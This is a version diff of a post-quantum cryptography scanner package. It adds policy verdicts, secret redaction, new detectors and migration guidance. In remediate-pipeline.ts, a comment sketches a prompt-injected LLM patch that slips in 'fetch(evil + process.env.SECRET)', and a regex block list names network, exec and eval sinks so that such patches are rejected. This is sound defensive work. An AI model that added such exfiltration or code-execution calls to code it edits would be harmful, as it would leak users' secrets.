@quantakrypto/core 0.4.2 → 0.4.4

package/src/inventory.ts

@@ -36,6 +36,34 @@ function penaltyFor(weight: number, occurrence: number): number {
 /** Decay constant for the readiness score (larger = more forgiving). */
 const SCORE_SCALE = 100;
 
+/**
+ * Fraction of the normal penalty a finding in test/fixture/example/doc code
+ * contributes to the readiness score. Such findings are almost always test
+ * vectors, sample keys, or the library's own algorithm enumerations — accurate
+ * detections, but not the deployed crypto whose migration the score is meant to
+ * track. Real-repo runs showed 60–77% of findings live in these paths, which
+ * dragged the score of no-real-crypto codebases down unfairly. They still appear
+ * in the inventory counts in full; only their *score* weight is reduced.
+ */
+const TEST_PATH_WEIGHT = 0.15;
+
+/** True when a finding's file path is test / fixture / example / documentation. */
+export function isTestOrFixturePath(file: string): boolean {
+  const f = file.toLowerCase().replace(/\\/g, "/");
+  if (
+    /(?:^|\/)(?:tests?|__tests__|testdata|test-data|fixtures?|examples?|demos?|samples?|specs?|mocks?|docs?|benchmarks?|e2e)\//.test(
+      f,
+    )
+  ) {
+    return true;
+  }
+  const base = f.slice(f.lastIndexOf("/") + 1);
+  if (/(?:^|[_.-])(?:test|spec)\.[a-z0-9]+$/.test(base)) return true; // test.go, foo_test.go, foo.test.ts
+  if (/^test_[^/]+\.py$/.test(base)) return true; // python test_foo.py
+  if (/^changelog/.test(base) || /\.(?:md|markdown|rst|adoc|asciidoc)$/.test(base)) return true;
+  return false;
+}
+
 /**
  * Compute a 0–100 readiness score. 100 means no classical asymmetric crypto was
  * found. Findings accrue a severity-weighted penalty (with per-bucket diminishing
@@ -58,7 +86,9 @@ export function readinessScore(findings: Finding[]): number {
   let penalty = 0;
   for (const f of findings) {
     seen[f.severity] += 1;
-    penalty += penaltyFor(SEVERITY_WEIGHT[f.severity], seen[f.severity]);
+    const weight =
+      SEVERITY_WEIGHT[f.severity] * (isTestOrFixturePath(f.location.file) ? TEST_PATH_WEIGHT : 1);
+    penalty += penaltyFor(weight, seen[f.severity]);
   }
 
   return Math.max(0, Math.min(100, Math.round(100 * Math.exp(-penalty / SCORE_SCALE))));

package/src/policy.ts

@@ -0,0 +1,180 @@
+/**
+ * Machine-readable cryptography policy → per-finding verdicts for the ISO/IEC
+ * 27001 A.8.24 evidence report (docs/compliance/iso27001-a8.24-evidence.md §4).
+ *
+ * An organization supplies a policy listing which classical algorithm families it
+ * prohibits, permits, or is actively transitioning off. `buildPolicyMapping` then
+ * flags each qScan finding as `conformant` / `violation` / `transition-pending`
+ * against that policy — turning the neutral inventory into audit-ready evidence
+ * that the org *assesses* its cryptography against a defined policy.
+ *
+ * Honesty boundary: without a policy the report stays neutral inventory and the
+ * ORG owns the conformance judgment (COMPLIANCE.md §3). The policy is a permit-
+ * list: a classical family not named anywhere defaults to a violation (unmanaged
+ * crypto is a policy gap), overridable via `defaultVerdict`.
+ */
+import type { AlgorithmFamily, Finding } from "./types.js";
+
+/** The three verdicts a finding can carry against a policy. */
+export type PolicyVerdict = "conformant" | "violation" | "transition-pending";
+
+/** The complete set of algorithm families a policy may reference. */
+const ALGORITHM_FAMILIES: readonly AlgorithmFamily[] = [
+  "RSA",
+  "ECDH",
+  "ECDSA",
+  "EdDSA",
+  "DH",
+  "DSA",
+  "X25519",
+  "X448",
+  "ECIES",
+  "unknown",
+];
+
+/** An organization-supplied cryptography policy (from a JSON file). */
+export interface CryptoPolicy {
+  /** Human name / version of the policy, recorded in the evidence report. */
+  name?: string;
+  /** Families the org explicitly accepts (e.g. short-lived signatures) → conformant. */
+  permitted?: AlgorithmFamily[];
+  /** Families the org prohibits outright → violation. */
+  prohibited?: AlgorithmFamily[];
+  /** Families being actively migrated, allowed within the window → transition-pending. */
+  inTransition?: AlgorithmFamily[];
+  /** Optional migration deadline (ISO date / year), recorded for context. */
+  transitionDeadline?: string;
+  /** Verdict for a family named in none of the lists. Default: `"violation"`. */
+  defaultVerdict?: PolicyVerdict;
+}
+
+/** One finding's verdict against the policy. */
+export interface PolicyFindingVerdict {
+  ruleId: string;
+  algorithm: AlgorithmFamily | "unknown";
+  file: string;
+  line: number;
+  verdict: PolicyVerdict;
+  reason: string;
+}
+
+/** The `policyMapping` block added to the evidence report. */
+export interface PolicyMapping {
+  policyName: string | null;
+  transitionDeadline: string | null;
+  summary: Record<PolicyVerdict, number>;
+  findings: PolicyFindingVerdict[];
+}
+
+/** Resolve one algorithm family's verdict + a human reason against a policy. */
+export function verdictForAlgorithm(
+  algorithm: AlgorithmFamily | undefined,
+  policy: CryptoPolicy,
+): { verdict: PolicyVerdict; reason: string } {
+  const algo = algorithm ?? "unknown";
+  if (policy.prohibited?.includes(algo)) {
+    return { verdict: "violation", reason: `${algo} is prohibited by the policy.` };
+  }
+  if (policy.inTransition?.includes(algo)) {
+    return {
+      verdict: "transition-pending",
+      reason: `${algo} is being migrated (in the policy's transition set).`,
+    };
+  }
+  if (policy.permitted?.includes(algo)) {
+    return { verdict: "conformant", reason: `${algo} is permitted by the policy.` };
+  }
+  const fallback = policy.defaultVerdict ?? "violation";
+  return {
+    verdict: fallback,
+    reason: `${algo} is not named in the policy (default verdict: ${fallback}).`,
+  };
+}
+
+/**
+ * Map every finding to a policy verdict, with per-verdict counts. Deterministic:
+ * the same findings + policy always yield the same mapping (safe to hash in the
+ * A.8.24 evidence attestation).
+ */
+export function buildPolicyMapping(
+  findings: readonly Finding[],
+  policy: CryptoPolicy,
+): PolicyMapping {
+  const summary: Record<PolicyVerdict, number> = {
+    conformant: 0,
+    violation: 0,
+    "transition-pending": 0,
+  };
+  const mapped: PolicyFindingVerdict[] = findings.map((f) => {
+    const { verdict, reason } = verdictForAlgorithm(f.algorithm, policy);
+    summary[verdict]++;
+    return {
+      ruleId: f.ruleId,
+      algorithm: f.algorithm ?? "unknown",
+      file: f.location.file,
+      line: f.location.line,
+      verdict,
+      reason,
+    };
+  });
+  return {
+    policyName: policy.name ?? null,
+    transitionDeadline: policy.transitionDeadline ?? null,
+    summary,
+    findings: mapped,
+  };
+}
+
+/**
+ * Validate + normalize a parsed policy object (from an operator's JSON file).
+ * Throws a `TypeError` with a clear message on anything malformed — a bad policy
+ * file must fail loudly, never silently degrade the evidence verdict.
+ */
+export function parseCryptoPolicy(raw: unknown): CryptoPolicy {
+  if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
+    throw new TypeError("crypto policy must be a JSON object");
+  }
+  const obj = raw as Record<string, unknown>;
+  const validFamilies = new Set<string>(ALGORITHM_FAMILIES);
+  const list = (key: string): AlgorithmFamily[] | undefined => {
+    const v = obj[key];
+    if (v === undefined) return undefined;
+    if (!Array.isArray(v))
+      throw new TypeError(`policy "${key}" must be an array of algorithm families`);
+    for (const item of v) {
+      if (typeof item !== "string" || !validFamilies.has(item)) {
+        throw new TypeError(
+          `policy "${key}" has an unknown algorithm family ${JSON.stringify(item)}; expected one of ${ALGORITHM_FAMILIES.join(", ")}`,
+        );
+      }
+    }
+    return v as AlgorithmFamily[];
+  };
+  const verdicts = new Set<PolicyVerdict>(["conformant", "violation", "transition-pending"]);
+  let defaultVerdict: PolicyVerdict | undefined;
+  if (obj.defaultVerdict !== undefined) {
+    if (
+      typeof obj.defaultVerdict !== "string" ||
+      !verdicts.has(obj.defaultVerdict as PolicyVerdict)
+    ) {
+      throw new TypeError(`policy "defaultVerdict" must be one of ${[...verdicts].join(", ")}`);
+    }
+    defaultVerdict = obj.defaultVerdict as PolicyVerdict;
+  }
+  if (obj.name !== undefined && typeof obj.name !== "string") {
+    throw new TypeError('policy "name" must be a string');
+  }
+  if (obj.transitionDeadline !== undefined && typeof obj.transitionDeadline !== "string") {
+    throw new TypeError('policy "transitionDeadline" must be a string');
+  }
+  return {
+    ...(obj.name !== undefined ? { name: obj.name as string } : {}),
+    ...(list("permitted") ? { permitted: list("permitted") } : {}),
+    ...(list("prohibited") ? { prohibited: list("prohibited") } : {}),
+    ...(list("inTransition") ? { inTransition: list("inTransition") } : {}),
+    ...(obj.transitionDeadline !== undefined
+      ? { transitionDeadline: obj.transitionDeadline as string }
+      : {}),
+    ...(defaultVerdict !== undefined ? { defaultVerdict } : {}),
+  };
+}

package/src/redact.ts

@@ -46,6 +46,43 @@ const TOKEN_PATTERNS: readonly RegExp[] = [
   /[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)
 ];
 
+/** Shannon entropy of a string, in bits per character. */
+function shannonEntropy(s: string): number {
+  const freq = new Map<string, number>();
+  for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);
+  let e = 0;
+  for (const n of freq.values()) {
+    const p = n / s.length;
+    e -= p * Math.log2(p);
+  }
+  return e;
+}
+
+/**
+ * Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}
+ * above miss (custom / novel key formats not tied to a known vendor prefix).
+ * Best-effort and biased toward over-redaction (safe): only a *long*,
+ * *high-entropy*, *charset-diverse* run is replaced, so ordinary code
+ * identifiers, words, and prose are left intact for the LLM to work with.
+ */
+const HIGH_ENTROPY_RUN = /[A-Za-z0-9_\-+/=.]{24,256}/g;
+function redactHighEntropy(text: string): { text: string; redacted: boolean } {
+  let redacted = false;
+  const out = text.replace(HIGH_ENTROPY_RUN, (m) => {
+    const classes =
+      (/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);
+    const hasSpecial = /[+/=_-]/.test(m);
+    // Random secrets are charset-diverse AND high-entropy; identifiers usually
+    // fail one of these (an identifier has repetition / structure → lower entropy).
+    if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {
+      redacted = true;
+      return REDACTED;
+    }
+    return m;
+  });
+  return { text: out, redacted };
+}
+
 /** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of
  * a missing END marker — a truncated key is still fully redacted). */
 function redactPrivateKeyBlocks(text: string): { text: string; redacted: boolean } {
@@ -94,6 +131,10 @@ function stripSecrets(text: string): { text: string; redacted: boolean } {
           return REDACTED;
         });
       }
+      // Best-effort entropy catch-all for novel token shapes the named patterns miss.
+      const ent = redactHighEntropy(out);
+      out = ent.text;
+      redacted = redacted || ent.redacted;
       result = { text: out, redacted };
     } catch {
       result = { text: REDACTED, redacted: true };

package/src/registry.ts

@@ -18,8 +18,24 @@ import { javaDetector } from "./detectors/java.js";
 import { csharpDetector } from "./detectors/csharp.js";
 import { rustDetector } from "./detectors/rust.js";
 import { rubyDetector } from "./detectors/ruby.js";
+import { phpDetector } from "./detectors/php.js";
+import { elixirDetector } from "./detectors/elixir.js";
 import { cDetector } from "./detectors/c.js";
 import { pemDetector } from "./detectors/pem.js";
+import { jwkDetector } from "./detectors/jwk.js";
+import { terraformDetector } from "./detectors/terraform.js";
+import { cloudKmsDetector } from "./detectors/cloud-kms.js";
+import { cicdDetector } from "./detectors/cicd.js";
+import { secretsDetector } from "./detectors/secrets.js";
+import { joseDetector } from "./detectors/jose.js";
+import { k8sDetector } from "./detectors/k8s.js";
+import { messagingDetector } from "./detectors/messaging.js";
+import { databaseDetector } from "./detectors/database.js";
+import { cloudformationDetector } from "./detectors/cloudformation.js";
+import { meshDetector } from "./detectors/mesh.js";
+import { dnssecDetector } from "./detectors/dnssec.js";
+import { vpnDetector } from "./detectors/vpn.js";
+import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
 
 /** Normalised scope of a detector (defaults to "source" when undeclared). */
 export function detectorScope(d: Detector): DetectorScope {
@@ -111,8 +127,8 @@ export class DetectorRegistry {
 /**
  * The built-in detectors, in run order: the JS/TS source + config detectors,
  * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
- * then the language-agnostic PEM detector. The manifest (dependency) scanner is
- * handled separately by `scan()`.
+ * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
+ * manifest (dependency) scanner is handled separately by `scan()`.
  *
  * This is the single source of truth for the default detector set: both
  * {@link defaultRegistry} and the public `detectors` export (re-exported from
@@ -126,8 +142,24 @@ export const builtinDetectors: Detector[] = [
   csharpDetector,
   rustDetector,
   rubyDetector,
+  phpDetector,
+  elixirDetector,
   cDetector,
   pemDetector,
+  jwkDetector,
+  terraformDetector,
+  cloudKmsDetector,
+  cicdDetector,
+  secretsDetector,
+  joseDetector,
+  k8sDetector,
+  messagingDetector,
+  databaseDetector,
+  cloudformationDetector,
+  meshDetector,
+  dnssecDetector,
+  vpnDetector,
+  statefulHbsDetector,
 ];
 
 /**

package/src/remediate-pipeline.ts

@@ -45,6 +45,75 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
   return targetGone && noNewRuleTypes && after.length < before.length;
 }
 
+/**
+ * Exfiltration / RCE primitives an LLM "crypto fix" should never *newly*
+ * introduce. `verifyFix` only proves the crypto finding is gone — it is blind to
+ * the rest of a full-file rewrite, so an injected/hostile model could drop the
+ * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
+ * runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
+ */
+// Node built-in exfil/RCE modules, matched with an OPTIONAL `node:` prefix
+// (idiomatic modern Node — the bare-only form was bypassable) and in BOTH
+// require()/import() call forms AND static `import … from "…"` — the static
+// form has no parens so the old dynamic-only pattern missed it entirely.
+const SINK_MODULES = "child_process|http|https|http2|net|tls|dns|dgram";
+const NEW_SINK_RE = new RegExp(
+  "\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime" +
+    `|require\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
+    `|import\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
+    `|import\\s+[^;\\n]{0,200}?from\\s*['"](?:node:)?(?:${SINK_MODULES})['"])`,
+  "g",
+);
+/** Stateless (non-global) sibling of {@link NEW_SINK_RE} for per-line `.test()`. */
+const NEW_SINK_LINE_RE = new RegExp(NEW_SINK_RE.source);
+
+/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
+ * is localized; a sprawling rewrite is not reviewable as "just the fix". */
+export const LLM_PATCH_MAX_CHANGED_LINES = 60;
+
+function countMatches(re: RegExp, s: string): number {
+  return (s.match(re) ?? []).length;
+}
+
+/** Changed lines (removed + added) between two revisions, ignoring the shared
+ * prefix/suffix — same shape the CLI's unified-diff uses. */
+function changedLineCount(before: string, after: string): number {
+  const a = before.split("\n");
+  const b = after.split("\n");
+  let start = 0;
+  while (start < a.length && start < b.length && a[start] === b[start]) start++;
+  let endA = a.length - 1;
+  let endB = b.length - 1;
+  while (endA >= start && endB >= start && a[endA] === b[endB]) {
+    endA--;
+    endB--;
+  }
+  return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);
+}
+
+/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
+function llmPatchRisk(before: string, patch: Patch): string | null {
+  // Reject any exfil/RCE sink on a line the patch ADDS. More robust than a bare
+  // count: it catches a sink SWAPPED into a file that already had one, and does
+  // not depend on the total count rising (trimmed line-set membership).
+  const beforeLines = new Set(before.split("\n").map((l) => l.trim()));
+  const addsSink = patch.newContent
+    .split("\n")
+    .some((l) => !beforeLines.has(l.trim()) && NEW_SINK_LINE_RE.test(l));
+  if (addsSink) {
+    return "LLM patch adds a network/exec/eval sink on a new line (possible prompt-injection); rejected — review the diff manually";
+  }
+  // Backstop: the total sink count must not rise either.
+  if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
+    return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
+  }
+  const changed = changedLineCount(before, patch.newContent);
+  if (changed > LLM_PATCH_MAX_CHANGED_LINES) {
+    return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;
+  }
+  return null;
+}
+
 /**
  * Run each finding through patchSource → policy → verify, collecting the patches
  * that survive both gates and the reasons the rest were dropped.
@@ -68,6 +137,15 @@ export async function remediateFindings(
       rejected.push({ finding, reason: decision.reason ?? "rejected by patch policy" });
       continue;
     }
+    // Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only
+    // verify step can't provide (new-sink + change-size bound).
+    if (patch.source === "llm") {
+      const risk = llmPatchRisk(content, patch);
+      if (risk) {
+        rejected.push({ finding, reason: risk });
+        continue;
+      }
+    }
     const before = verifyFix(content, { filename: finding.location.file }).findings;
     const after = verifyFix(patch.newContent, { filename: patch.path }).findings;
     if (!passesVerify(before, after, finding)) {

package/src/remediation.ts

@@ -1,8 +1,9 @@
 /**
  * Post-quantum remediation guidance for each classical asymmetric algorithm
- * family. The recommendations follow NIST's standardized PQC algorithms
- * (ML-KEM / FIPS 203, ML-DSA / FIPS 204, SLH-DSA / FIPS 205) and the IETF
- * hybrid key-exchange drafts (X25519MLKEM768).
+ * family. The recommendations follow NIST's finalized PQC algorithms — ML-KEM
+ * (FIPS 203), ML-DSA (FIPS 204), SLH-DSA (FIPS 205) — and the IETF hybrid
+ * key-exchange groups (X25519MLKEM768, SecP384r1MLKEM1024). Forward-looking
+ * standards to track are captured in {@link PQC_TRANSITION_NOTE}.
  */
 import type { AlgorithmFamily, Remediation } from "./types.js";
 
@@ -63,19 +64,21 @@ const REMEDIATIONS: Record<AlgorithmFamily, Remediation> = {
   },
   X448: {
     algorithm: "X448",
-    recommendation: "hybrid X25519MLKEM768 (ML-KEM-768)",
+    recommendation: "hybrid SecP384r1MLKEM1024 (or X25519MLKEM768)",
     detail:
       "X448 (Goldilocks curve) is a modern classical key-agreement primitive at a " +
       "higher classical security level, but it is still broken by Shor's algorithm. " +
-      "Adopt a hybrid PQC KEM (X25519MLKEM768 / ML-KEM-768) during the transition.",
+      "To preserve that assurance level, prefer the SecP384r1MLKEM1024 hybrid " +
+      "(ML-KEM-1024); X25519MLKEM768 is acceptable at the commercial tier.",
   },
   ECIES: {
     algorithm: "ECIES",
-    recommendation: "ML-KEM-768 hybrid encryption",
+    recommendation: "ML-KEM-768 hybrid encryption (X-Wing for HPKE)",
     detail:
       "ECIES relies on classical ECDH for its key encapsulation and is exposed to " +
-      "harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203), " +
-      "preferably in a hybrid construction.",
+      "harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203) in " +
+      "a hybrid construction — for HPKE-style application-layer encryption, X-Wing " +
+      "(X25519 + ML-KEM-768) is the emerging hybrid KEM target.",
   },
   unknown: {
     algorithm: "unknown",
@@ -199,6 +202,18 @@ export const STATEFUL_HBS_NOTE =
   "Use only with rigorous state management; otherwise prefer stateless ML-DSA " +
   "(FIPS 204) or SLH-DSA (FIPS 205).";
 
+/**
+ * Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
+ * targets. Surfaced for operators planning multi-year migrations.
+ */
+export const PQC_TRANSITION_NOTE =
+  "Migration urgency: NIST IR 8547 deprecates classical public-key crypto after " +
+  "2030 and disallows it after 2035 — long-lived (harvest-now-decrypt-later) data " +
+  "must move sooner. Standards to track: HQC (NIST's code-based backup KEM, " +
+  "selected March 2025; draft FIPS expected ~2026) as a diversity hedge against " +
+  "ML-KEM; FN-DSA / Falcon (draft FIPS 206) for compact lattice signatures; and " +
+  "X-Wing (X25519 + ML-KEM-768) for HPKE-style hybrid encryption.";
+
 /** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
 export function statefulHbsApplies(algorithm: AlgorithmFamily): boolean {
   // Signature families only — LMS/XMSS are signatures, not KEMs.

package/src/report.ts

@@ -3,10 +3,13 @@
  * or a human-readable text summary. No third-party dependencies — ANSI colour
  * is emitted with raw escape codes and is off by default.
  */
-import type { Finding, RuleMeta, ScanResult, Severity } from "./types.js";
+import type { AlgorithmFamily, Finding, RuleMeta, ScanResult, Severity } from "./types.js";
 import { VERSION } from "./version.js";
 import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
 import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
+import { remediationFor, remediationForTier } from "./remediation.js";
+import type { SecurityTier } from "./remediation.js";
+import { fingerprintFinding } from "./baseline.js";
 
 /** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
 export interface SarifLog {
@@ -160,6 +163,12 @@ export function toSarif(result: ScanResult, opts?: ReportOptions): SarifLog {
       ruleIndex: ruleIndex.get(f.ruleId),
       level: sarifLevel(f.severity),
       message: { text: f.message },
+      // Line-INSENSITIVE fingerprint (the same one the baseline uses:
+      // sha256 of ruleId|file|normalizedSnippet). GitHub code scanning keys
+      // alert identity + dedup off partialFingerprints, so a finding survives
+      // line shifts and reformatting instead of re-alerting as "new" on every
+      // edit above it. `quantakrypto/v1` names our scheme.
+      partialFingerprints: { "quantakrypto/v1": fingerprintFinding(f) },
       properties: {
         category: f.category,
         severity: f.severity,
@@ -327,7 +336,10 @@ function scoreColor(score: number): string {
  * Render a human-readable summary of a scan result. Colour is off by default;
  * pass `{ color: true }` to emit ANSI escape codes.
  */
-export function formatSummary(result: ScanResult, options?: { color?: boolean }): string {
+export function formatSummary(
+  result: ScanResult,
+  options?: { color?: boolean; tier?: SecurityTier },
+): string {
   const color = options?.color ?? false;
   const c = (code: string, text: string): string => (color ? `${code}${text}${ANSI.reset}` : text);
 
@@ -427,5 +439,39 @@ export function formatSummary(result: ScanResult, options?: { color?: boolean })
     );
   }
 
+  if (options?.tier) {
+    lines.push("", ...formatTierGuidance(inv.byAlgorithm, options.tier));
+  }
+
   return lines.join("\n");
 }
+
+/**
+ * Per-family migration targets for a CNSA security tier — surfaces the otherwise
+ * library-only {@link remediationForTier} in human reports. Category 5 shows the
+ * ML-KEM-1024 / ML-DSA-87 sets CNSA 2.0 mandates for national-security systems and
+ * long-lived secrets. Returns plain (un-coloured) lines; the caller styles them.
+ */
+export function formatTierGuidance(
+  byAlgorithm: Record<string, number>,
+  tier: SecurityTier,
+): string[] {
+  const label = tier === "category-5" ? "CNSA 2.0 (Category 5)" : "Category 3 (commercial)";
+  const out: string[] = [`${label} migration targets:`];
+  const seen = new Set<string>();
+  for (const [k, n] of Object.entries(byAlgorithm)) {
+    if (n <= 0) continue;
+    const fam = k as AlgorithmFamily;
+    if (fam === "unknown" || !remediationFor(fam)) continue; // skip unmapped families
+    const rem = remediationForTier(fam, tier);
+    if (seen.has(rem.recommendation)) continue;
+    seen.add(rem.recommendation);
+    out.push(`  ${fam} → ${rem.recommendation}`);
+  }
+  if (tier === "category-5") {
+    out.push(
+      "  CNSA 2.0 mandates ML-KEM-1024 / ML-DSA-87 for national-security systems and long-lived secrets (2030/2033 milestones).",
+    );
+  }
+  return out;
+}

package/src/scan.ts

@@ -15,7 +15,18 @@ import * as path from "node:path";
 import type { Detector, Finding, ScanOptions, ScanResult } from "./types.js";
 import { walkFiles, toPosix, isBinaryPath, looksMinified, matchesAny } from "./walk.js";
 import { isAnalyzableSource } from "./detect-utils.js";
-import { stripCommentFindings, stripIgnoredFindings } from "./comments.js";
+import {
+  stripCommentFindings,
+  stripIgnoredFindings,
+  stripStringLiteralFindings,
+} from "./comments.js";
+
+/**
+ * Rules whose token is only meaningful as code, never inside a string literal.
+ * A match inside a string (e.g. `t.Error("SigningMethodPS256 …")`) is prose and
+ * is dropped. Rules that legitimately match quoted tokens are NOT listed here.
+ */
+const CODE_ONLY_RULES: ReadonlySet<string> = new Set(["go-jwt-signingmethod"]);
 import { hashContent, loadCache, rulesetFingerprint, saveCache } from "./cache.js";
 import type { CacheEntry } from "./cache.js";
 import { builtinDetectors, defaultRegistry, detectorScope } from "./registry.js";
@@ -71,6 +82,7 @@ export function detectFile(
   // `qscan-ignore-next-line` directives. Both run before the dependency scan
   // appends its findings (manifests carry neither).
   out = stripCommentFindings(out, content, file);
+  out = stripStringLiteralFindings(out, content, file, CODE_ONLY_RULES);
   out = stripIgnoredFindings(out, content);
 
   if (toggles.deps && isManifestFile(file)) {